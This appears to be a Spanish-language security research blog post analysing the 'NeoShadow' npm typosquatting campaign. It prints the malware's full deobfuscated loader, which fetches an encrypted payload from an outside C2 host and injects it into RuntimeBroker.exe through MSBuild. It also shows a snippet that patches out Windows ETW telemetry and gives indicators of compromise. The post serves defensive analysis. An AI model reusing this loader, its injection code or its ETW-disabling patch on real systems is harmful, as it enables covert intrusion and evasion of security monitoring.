Aikido

JavaScript, MSBuild y la Blockchain: Anatomía del ataque a la cadena de suministro npm de NeoShadow

Charlie EriksenCharlie Eriksen
|
#
#

El 30 de diciembre, una repentina avalancha de nuevos paquetes npm de un solo autor llamó nuestra atención. Nuestro motor de análisis marcó varios de ellos como sospechosos poco después de su aparición. Hemos bautizado a esta campaña/actor malicioso como «NeoShadow», basándonos en un identificador común que aparece en su carga útil de fase 2. Los paquetes identificados fueron:

  • viem-js
  • cripto
  • tailwin
  • supabase-js

Todos fueron liberados por el usuario. cjh97123. Todos ellos son paquetes de typo-squatting, lo cual no es nada nuevo. Pero nos llamó la atención el malware que encontramos en su interior. No solo descubrimos que la ofuscación no se podía descifrar fácilmente con herramientas comunes, sino que también nos dimos cuenta de que el malware estaba haciendo cosas bastante novedosas. Así que nos pusimos manos a la obra para mejorar una vez más nuestras cadenas de herramientas de descifrado y llegar al fondo de este malware.

Etapa 0: JS malicioso en npm

La primera parte de nuestra investigación comienza con este archivo de configuración, pero tened cuidado: pronto nos llevará a territorios extraños y maravillosos. Este archivo JavaScript, ubicado en scripts/setup.js en todos los paquetes, sirve como un cargador de múltiples etapas exclusivo para Windows. Su comportamiento se puede resumir en las siguientes etapas ordenadas:

1️⃣ Validación de la plataforma y el entorno

  • 🪟 Confirma la ejecución en Windows
  • 🧪 Aplica una heurística anti-análisis contando las entradas del registro de eventos del sistema Windows.
  • 🚫 Sale temprano en entornos de baja actividad o similares a entornos de pruebas.

2️⃣ Configuración dinámica a través de blockchain

  • ⛓️ Consulta un contrato inteligente de Ethereum utilizando la API eth_call de Etherscan.
  • 📤 Extrae una cadena almacenada dinámicamente de los datos en cadena.
  • 🌐 Trata el valor decodificado como una URL base C2.
  • 🔁 Recurre a un dominio codificado de forma fija si falla la búsqueda en la cadena.

3️⃣ Adquisición encubierta de carga útil

  • 📡 Solicita un archivo JavaScript remoto que se hace pasar por análisis.
  • 🫥 Localiza un blob codificado en Base64 oculto dentro de un comentario en bloque.
  • 📦 Utiliza el comentario únicamente como contenedor de carga útil, no como código ejecutable.

4️⃣ Ejecución «Living-off-the-Land» (MSBuild)

  • 🛠️ Escribe un archivo temporal. Proyecto MSBuild (.proj) archivo
  • 🧬 Incorpora código C# en línea utilizando CodeTaskFactory.
  • 🚫 Se ejecuta sin soltar ni compilar un ejecutable independiente.
  • 🧾 Se basa en un binario de Windows de confianza (MSBuild.exe).

5️⃣ Descifrado de la carga útil

  • 🔐 Descodifica la carga útil Base64.
  • 🔑 Deriva una clave RC4 mediante el enmascaramiento XOR de los primeros 16 bytes.
  • 🔓 Descifra la carga útil restante en la memoria.

6️⃣ Inyección y ejecución del proceso

  • 🧠 Genera RuntimeBroker.exe en estado suspendido.
  • 💉 Asigna memoria en el proceso remoto
    ✍️ Escribe código shell descifrado
  • ⚡ Se ejecuta a través de Inyección de APC (QueueUserAPC + Continuar hilo)

7️⃣ Implementación de artefactos secundarios

  • 📥 Opcionalmente, descarga un archivo de configuración de seguimiento.
  • 📁 Persiste en: %APPDATA%\Microsoft\CLR\config.proj

Es mucho. Si tienes curiosidad, aquí tienes el código real tras nuestra desofuscación:

const {
  execSync: a0_0x284172
} = require("child_process");
const a0_0x363405 = require("os");
const a0_0x53848c = require("path");
const a0_0x651569 = require("fs");
const a0_0x7f4e56 = "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC";
async function a0_0x2da91a() {
  if (!a0_0x7f4e56 || "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".length < 10 || !"0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".startsWith("0x")) return null;
  const _0x40ca65 = require("https");
  return new Promise(_0x18a121 => {
    _0x40ca65.get("https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=0x13660FD7Edc862377e799b0Caf68f99a2939B5cC&data=0xd6bd8727&apikey=GAH6BHW1WXF3TNQ4AH3G44B7BWVVKPKSV5", _0xc12477 => {
      const _0x5a6f92 = {
        xSUuD: function (_0x8e23dc, _0x473cc1) {
          return _0x8e23dc !== _0x473cc1;
        },
        kByHu: function (_0x291b51, _0x45ee39, _0x314df2) {
          return _0x291b51(_0x45ee39, _0x314df2);
        },
        TSNUY: function (_0x551c1c, _0xa10773) {
          return _0x551c1c * _0xa10773;
        },
        IxNWN: function (_0x5bf459, _0x3b5803) {
          return _0x5bf459 < _0x3b5803;
        },
        TNyat: function (_0x2a4142, _0x55bc29) {
          return _0x2a4142 + _0x55bc29;
        },
        jmkEP: "http",
        bpmxg: function (_0x596591, _0x2230d0) {
          return _0x596591(_0x2230d0);
        }
      };
      let _0x44c1fc = "";
      _0xc12477.on("data", _0x4c04af => _0x44c1fc += _0x4c04af);
      _0xc12477.on("end", () => {
        try {
          const _0x19ede0 = JSON.parse(_0x44c1fc);
          if (_0x19ede0.result && _0x19ede0.result !== "0x") {
            const _0x501fdb = _0x19ede0.result.slice(2);
            const _0xacca97 = _0x5a6f92.kByHu(parseInt, _0x501fdb.slice(64, 128), 16);
            const _0x4d9687 = _0x501fdb.slice(128, 128 + _0xacca97 * 2);
            let _0x2d977d = "";
            for (let _0x39ae37 = 0; _0x39ae37 < _0x4d9687.length; _0x39ae37 += 2) {
              _0x2d977d += String.fromCharCode(parseInt(_0x4d9687.slice(_0x39ae37, _0x39ae37 + 2), 16));
            }
            if (_0x2d977d.startsWith("http")) {
              _0x5a6f92.bpmxg(_0x18a121, _0x2d977d);
              return;
            }
          }
        } catch (_0x34b9f3) {}
        _0x18a121(null);
      });
    }).on("error", () => _0x18a121(null));
  });
}
function a0_0x1c5097() {
  if (a0_0x363405.platform() !== "win32") return false;
  try {
    const _0x5962fa = a0_0x284172("powershell -c \"(Get-WinEvent -LogName System -MaxEvents 5000 -ErrorAction SilentlyContinue).Count\"", {
      encoding: "utf8",
      windowsHide: true,
      timeout: 10000
    }).trim();
    return parseInt(_0x5962fa, 10) >= 3000;
  } catch (_0x3c40cc) {
    return false;
  }
}
function a0_0x218fb4(_0x42ee70, _0x4bce67) {
  const _0x50f164 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe";
  const _0x1d3b60 = a0_0x363405.tmpdir();
  const _0x112a23 = a0_0x53848c.join(_0x1d3b60, Math.random().toString(36).slice(2) + ".proj");
  a0_0x651569.writeFileSync(_0x112a23, "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n<Target Name=\"Build\"><T /></Target>\n<UsingTask TaskName=\"T\" TaskFactory=\"CodeTaskFactory\" AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\">\n<Task><Code Type=\"Class\" Language=\"cs\"><![CDATA[\nusing System;using System.IO;using System.Net;\nusing System.Runtime.InteropServices;\nusing Microsoft.Build.Framework;using Microsoft.Build.Utilities;\npublic class T : Task {\n[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }\n[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }\n[DllImport(\"kernel32.dll\", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);\n[DllImport(\"kernel32.dll\")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);\n[DllImport(\"kernel32.dll\")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);\n[DllImport(\"kernel32.dll\")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);\n[DllImport(\"kernel32.dll\")] static extern uint ResumeThread(IntPtr a);\n[DllImport(\"kernel32.dll\")] static extern bool CloseHandle(IntPtr a);\n\nstatic byte[] RC4(byte[] data, byte[] key) {\n    byte[] s = new byte[256];\n    for (int i = 0; i < 256; i++) s[i] = (byte)i;\n    int j = 0;\n    for (int i = 0; i < 256; i++) {\n        j = (j + s[i] + key[i % key.Length]) & 0xFF;\n        byte t = s[i]; s[i] = s[j]; s[j] = t;\n    }\n    byte[] o = new byte[data.Length];\n    int x = 0, y = 0;\n    for (int k = 0; k < data.Length; k++) {\n        x = (x + 1) & 0xFF;\n        y = (y + s[x]) & 0xFF;\n        byte t = s[x]; s[x] = s[y]; s[y] = t;\n        o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]);\n    }\n    return o;\n}\n\nstatic byte[] PolyDecode(byte[] payload) {\n    byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};\n    byte[] key = new byte[16];\n    for (int i = 0; i < 16; i++) key[i] = (byte)(payload[i] ^ mask[i]);\n    byte[] enc = new byte[payload.Length - 16];\n    Array.Copy(payload, 16, enc, 0, enc.Length);\n    return RC4(enc, key);\n}\n\npublic override bool Execute() {\ntry {\nbyte[] raw = Convert.FromBase64String(\"" + _0x42ee70 + "\");\nbyte[] d = PolyDecode(raw);\n\nSI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;\nif (!CreateProcessW(\"C:\\\\Windows\\\\System32\\\\RuntimeBroker.exe\", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;\nIntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);\nif (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }\nuint w = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref w);\nQueueUserAPC(addr, pi.hThread, IntPtr.Zero); ResumeThread(pi.hThread);\nCloseHandle(pi.hThread); CloseHandle(pi.hProcess);\n\ntry {\nvar wc = new WebClient();\nstring proj = wc.DownloadString(\"" + _0x4bce67 + "/_next/data/config.json\");\nstring dir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), \"Microsoft\", \"CLR\");\nDirectory.CreateDirectory(dir);\nFile.WriteAllText(Path.Combine(dir, \"config.proj\"), proj);\n} catch {}\n} catch {} return true;\n}}\n]]></Code></Task></UsingTask></Project>");
  try {
    a0_0x284172("\"" + _0x50f164 + "\" \"" + _0x112a23 + "\" /nologo /noconsolelogger", {
      windowsHide: true,
      timeout: 30000,
      stdio: "ignore"
    });
  } catch (_0x48f097) {}
  try {
    a0_0x651569.unlinkSync(_0x112a23);
  } catch (_0x245ac6) {}
  return true;
}
async function a0_0x46b335() {
  if (a0_0x363405.platform() !== "win32") return;
  if (!a0_0x1c5097()) return;
  try {
    const _0x2186b3 = require("https");
    let _0x6212ce = await a0_0x2da91a();
    if (!_0x6212ce) _0x6212ce = "https://metrics-flow[.]com";
    if (!_0x6212ce || !_0x6212ce.startsWith("http")) return;
    const _0xe78890 = _0x6212ce + "/assets/js/analytics.min.js";
    const _0x4a6c3b = await new Promise((_0x3a7450, _0x340a89) => {
      _0x2186b3.get(_0xe78890, _0x891520 => {
        let _0x470b55 = "";
        _0x891520.on("data", _0x32cd17 => _0x470b55 += _0x32cd17);
        _0x891520.on("end", () => _0x3a7450(_0x470b55));
      }).on("error", _0x340a89);
    });
    const _0x168fcf = _0x4a6c3b.match(/\/\*(.+)\*\//);
    if (!_0x168fcf || !_0x168fcf[1]) return;
    a0_0x218fb4(_0x168fcf[1], _0x6212ce);
  } catch (_0x1b35d8) {}
}
a0_0x46b335()["catch"](() => {});

Esto nos permite ver la lógica con mayor claridad. Es un enfoque novedoso utilizar MSBuild y código C#. Al igual que en la otra versión, intenta descargar la carga útil desde https://metrics-flow[.]com/assets/js/analytics.min.js y descifrarlo con una clave RC4. 

Etapa 1: ¿Qué es MSBuild? 

Una cosa que notarás en el código es que intenta extraer el archivo _next/data/config.json del dominio C2. Así que lo recuperé y me devolvió una versión mejorada del script MSBuild:

<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build"><T /></Target>
<UsingTask TaskName="T" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<Task><Code Type="Class" Language="cs"><![CDATA[
using System;using System.Net;using System.Text.RegularExpressions;using System.Runtime.InteropServices;
using Microsoft.Build.Framework;using Microsoft.Build.Utilities;
public class T : Task {
[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }
[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);
[DllImport("kernel32.dll")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr a);
[DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr a);

static byte[] RC4(byte[] data, byte[] key) {
    byte[] s = new byte[256]; for (int i = 0; i < 256; i++) s[i] = (byte)i;
    int j = 0; for (int i = 0; i < 256; i++) { j = (j + s[i] + key[i % key.Length]) & 0xFF; byte t = s[i]; s[i] = s[j]; s[j] = t; }
    byte[] o = new byte[data.Length]; int x = 0, y = 0;
    for (int k = 0; k < data.Length; k++) { x = (x + 1) & 0xFF; y = (y + s[x]) & 0xFF; byte t = s[x]; s[x] = s[y]; s[y] = t; o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]); }
    return o;
}

static string GetC2FromEth(string contract, string apiKey) {
    if (string.IsNullOrEmpty(contract) || !contract.StartsWith("0x")) return null;
    try {
        var w = new WebClient();
        var url = "https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=" + contract + "&data=0xd6bd8727&apikey=" + apiKey;
        var json = w.DownloadString(url);
        var m = Regex.Match(json, "\"result\":\"(0x[0-9a-fA-F]+)\"");
        if (!m.Success) return null;
        var hex = m.Groups[1].Value.Substring(2);
        if (hex.Length < 130) return null;
        var strLen = Convert.ToInt32(hex.Substring(64, 64), 16);
        if (strLen <= 0 || strLen > 500) return null;
        var strHex = hex.Substring(128, strLen * 2);
        var chars = new char[strLen];
        for (int i = 0; i < strLen; i++) chars[i] = (char)Convert.ToByte(strHex.Substring(i * 2, 2), 16);
        var c2 = new string(chars);
        return c2.StartsWith("http") ? c2 : null;
    } catch { return null; }
}

public override bool Execute() {
try {
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
string c2 = GetC2FromEth("", "");
if (string.IsNullOrEmpty(c2)) c2 = "https://metrics-flow.com";
if (string.IsNullOrEmpty(c2) || !c2.StartsWith("http")) return true;

var w = new WebClient();
var cfg = w.DownloadString(c2 + "/assets/js/analytics.min.js");
if (!cfg.StartsWith("/*") || !cfg.EndsWith("*/")) return true;
cfg = cfg.Substring(2, cfg.Length - 4);
var raw = Convert.FromBase64String(cfg);
byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};
var key = new byte[16]; for (int i = 0; i < 16; i++) key[i] = (byte)(raw[i] ^ mask[i]);
var enc = new byte[raw.Length - 16]; Array.Copy(raw, 16, enc, 0, enc.Length);
var d = RC4(enc, key);

SI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;
if (!CreateProcessW("C:\\Windows\\System32\\RuntimeBroker.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);
if (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }
uint written = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref written);
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
} catch {} return true;
}}
]]></Code></Task></UsingTask></Project>

Esto nos permite ver la lógica con mayor claridad. Es un enfoque novedoso utilizar MSBuild y código C#. Al igual que en la otra versión, intenta descargar la carga útil desde https://metrics-flow[.]com/assets/js/analytics.min.js y descifrarlo con una clave RC4. 

Etapa 2: análisis del código shell

En ese momento, naturalmente sentimos curiosidad por saber qué justificaba el esfuerzo que había detrás de un mecanismo de entrega tan novedoso. Tras descifrar la carga útil, descubrimos que contenía código shell, tal y como esperábamos. 

Mientras analizábamos los bytes sin procesar de la carga útil descifrada, dos nombres nos llamaron inmediatamente la atención: NeoShadowV2DeriveKey2026 y Global\NSV2_8e4b1d. La relación entre ambos es difícil de ignorar. NS es una forma abreviada natural de NeoShadow, y ambas cadenas comparten el mismo V2 marcador. En conjunto, estos no parecen accidentales ni genéricos; parecen etiquetas internas de los autores. Basándonos en esta coherencia, nos referimos al actor malicioso detrás de esta actividad como NeoShadowVer que aparece el mismo nombre en las rutinas criptográficas y los controles de ejecución le da al malware una identidad clara y sugiere que se trata de un conjunto de herramientas deliberadamente versionado y mantenido activamente, en lugar de un experimento puntual.

A continuación, ejecutamos el código shell a través de Binary Ninja, que inmediatamente generó una versión en C semi-legible. Solo que... son 4000 líneas de código C horrible. 🥹

Así que se lo pasamos a Claude para obtener una versión más limpia. Y, efectivamente, generó una versión del código C de 1900 líneas, agradable y legible. Esto nos lleva a la siguiente parte de nuestra aventura.

Etapa 3: Una rata en la construcción

La carga útil final es una puerta trasera con todas las funciones diseñada para un acceso a largo plazo. Una vez en funcionamiento, entra en un bucle de baliza, se conecta con el servidor C2, informa sobre el sistema y solicita comandos. El implante es ligero por diseño: establece el acceso y proporciona una primitiva de ejecución, mientras que todas las funciones posteriores a la explotación se envían como módulos desechables.

Comportamiento del faro

  • 📡 Envía registros cifrados a través de HTTPS POST.
  • 🪪 Incluye huella digital del host: nombre del ordenador, nombre de usuario, ID del agente.
  • 🔀 Aleatoriza las rutas URL para imitar el tráfico legítimo (/activos/js/, /api/v1/, /wp-content/, etc.)
  • 🏷️ Etiqueta las solicitudes con personalización. X-Agente-Id encabezado para el seguimiento de víctimas
  • ⏱️ Admite intervalos de suspensión configurables con fluctuación (por defecto, 20 %).

Cifrado

Todo el tráfico C2 se cifra con ChaCha20, un cifrado de flujo muy apreciado por su velocidad y seguridad. Las claves se establecen mediante Curve25519 ECDH. 

Conjunto de comandos

Los operadores tienen tres comandos a su disposición:

dormir
  • ⏰ Ajusta el intervalo de la baliza sobre la marcha.
  • 🔇 Dejemos que los operadores se mantengan en silencio durante las fases de persistencia o aceleren el ritmo para una participación activa.
módulo
  • 🌐 Obtiene la carga útil de una URL.
  • 📦 Si es un archivo DLL: localiza Cargador reflexivo exportar, inyectar sin tocar el disco
  • 💉 Si es código shell: se inyecta directamente en RuntimeBroker.exe mediante inyección de APC
  • 🧰 Mecanismo principal para implementar herramientas de postexplotación. 
inyectar
  • 🔤 Acepta código shell codificado en base64 directamente en el comando.
  • 🔒 Mantiene todo dentro del canal C2 cifrado.
  • ⚡ La misma ruta de inyección que el módulo, solo que sin la recuperación de red.

Gestión de respuestas

  • ✅ Devuelve OK o DLL OK si se realiza correctamente.
  • ❌ Errores descriptivos: Error: asignación, Error: obtención, Error: decodificación, Error: inyección, Error: no PE
  • 📤 Las DLL inyectadas pueden escribir en un búfer compartido que se filtra en la respuesta.
  • 🔁 Todas las comunicaciones utilizan el mismo cifrado ChaCha20 que la baliza.

Este pequeño y minimalista troyano de acceso remoto (RAT) es bastante inteligente. Su única función es establecer un enlace C2 persistente y actuar como cargador de primera fase para malware más potente. Esto proporciona a los atacantes un punto de entrada flexible y discreto para desplegar herramientas secundarias (por ejemplo, keyloggers o ransomware) e intensificar el ataque a su antojo.

Características interesantes

El malware contiene algunas características ingeniosas para intentar ocultarse a sí mismo y a su servidor C2, que describimos a continuación. 

🙈Cegando al anfitrión: Parcheo ETW

El seguimiento de eventos para Windows es el sistema nervioso de la telemetría moderna de Windows. Cuando se carga un ensamblado .NET, ETW lo detecta. Cuando PowerShell ejecuta un bloque de script, ETW lo registra. Cuando se genera un proceso, se crea un subproceso, se carga una DLL, se establece una conexión de red, se emiten eventos ETW y los productos de seguridad los consumen. Las plataformas de seguridad, incluidas las soluciones de detección y respuesta de endpoints (EDR) y las herramientas SIEM, dependen en gran medida de ETW para la detección. Desactivar ETW perjudica gravemente la visibilidad de estas herramientas de seguridad. Tenga en cuenta que no se trata de una técnica nueva, sino que es bien conocida desde hace años.

El implante hace exactamente eso. Antes de establecer comunicaciones C2 o realizar cualquier actividad sospechosa, localiza NtTraceEvent en ntdll.dll, la función de bajo nivel por la que finalmente pasan todas las emisiones de eventos ETW. Resuelve la dirección mediante su resolución API estándar basada en hash (hash 0xDECFC1BF), luego llama a Protección virtual para hacer que la memoria de la función sea escribible:

char funcName[] = "NtTraceEvent";
char* ntTraceEvent = GetProcAddress(hNtdll, funcName);

DWORD oldProtect;
VirtualProtect(ntTraceEvent, 4, PAGE_EXECUTE_READWRITE, &oldProtect);

Con el acceso de escritura en mano, sobrescribe los primeros cuatro bytes de la función con un simple stub que devuelve éxito sin hacer nada:

// Before patching
NtTraceEvent:
    4c 8b d1          mov r10, rcx
    b8 XX XX 00 00    mov eax, <syscall#>
    0f 05             syscall
    c3                ret

// After patching  
NtTraceEvent:
    48 33 c0          xor rax, rax    ; rax = 0 (STATUS_SUCCESS)
    c3                ret              ; return immediately

Eso es todo. Cuatro bytes. 48 33 C0 C3, y todos los eventos ETW del sistema dejan de dispararse. La función devuelve ESTADO_ÉXITO para que las llamadas no den error ni se repitan, pero ningún evento llegue al núcleo. Los productos de seguridad que consultan a los proveedores ETW no obtienen respuesta.

🙈Camuflaje del servidor C2

Así que comprobamos el dominio C2. métricas-flujo[.]com, y nos reímos mucho al ver cómo los atacantes intentaban camuflarse. Han incorporado una ingeniosa capa de seguridad diseñada para despistar a las herramientas automatizadas y a los investigadores humanos. Cuando se accede a la página principal, no se obtiene lo mismo dos veces. En su lugar, el servidor ofrece un conjunto completamente aleatorio de contenido falso, lo que hace que parezca un sitio web totalmente normal y no malicioso. Muy ingenioso, y facilitará la identificación de los servidores C2 a los investigadores en el futuro. 😀

Dominio C2

El dominio C2 se registró aproximadamente al mismo tiempo que se publicó por primera vez el malware en npm, el 30 de diciembre de 2025, tal y como se puede ver en la información de whois:

Cambios en la versión 2

Todo el análisis realizado hasta este momento se basa en la versión implementada el 30 de diciembre de 2025. El 2 de enero de 2026 se implementó otra versión de los paquetes. El cambio más notable es que un ejecutable de Windows, análisis.nodo, también está incluido. Hemos observado que ningún antivirus en VirusTotal lo ha detectado como malicioso:

https://www.virustotal.com/gui/file/012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07/detection

Además, el archivo JavaScript se ha ofuscado de forma diferente y es más difícil de desofuscar que la versión original, con lo que parecen ser nuevas técnicas de ofuscación incluidas en la versión. 

También obtenemos otra referencia al proyecto llamado NeoShadow: C:\Usuarios\admin\Escritorio\NeoShadow\core\loader\native\build\Release\analytics.pdb

Conclusión 

Por el momento, no hemos intentado recuperar una carga útil dinámica del servidor C2. Sin embargo, hemos observado claramente un intento bien diseñado de distribuir lo que creemos que es un malware novedoso como parte de una campaña más amplia, no documentada anteriormente, que ha creado su propio servidor C2, RAT, mecanismo de distribución y técnicas de camuflaje para ocultar su servidor C2. 

🚨 Indicadores de compromiso

  • Dominio: métricas-flujo[.]com
  • Dirección IP: 80.78.22[.]206
  • Binario012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07
  • Dirección Ethereum: 0x13660FD7Edc862377e799b0Caf68f99a2939B5cC
  • Nombre del mutex: Global\NSV2_8e4b1d
  • Paquetes NPM:
    • viem-js
    • cripto
    • tailwin
    • supabase-js

4.7/5

Protege tu software ahora.

Empieza gratis
Sin tarjeta
Solicitar una demo
Sus datos no se compartirán · Acceso de solo lectura · No se requiere tarjeta de crédito

Asegúrate ahora.

Proteja su código, la nube y el entorno de ejecución en un único sistema central.
Encuentre y corrija vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.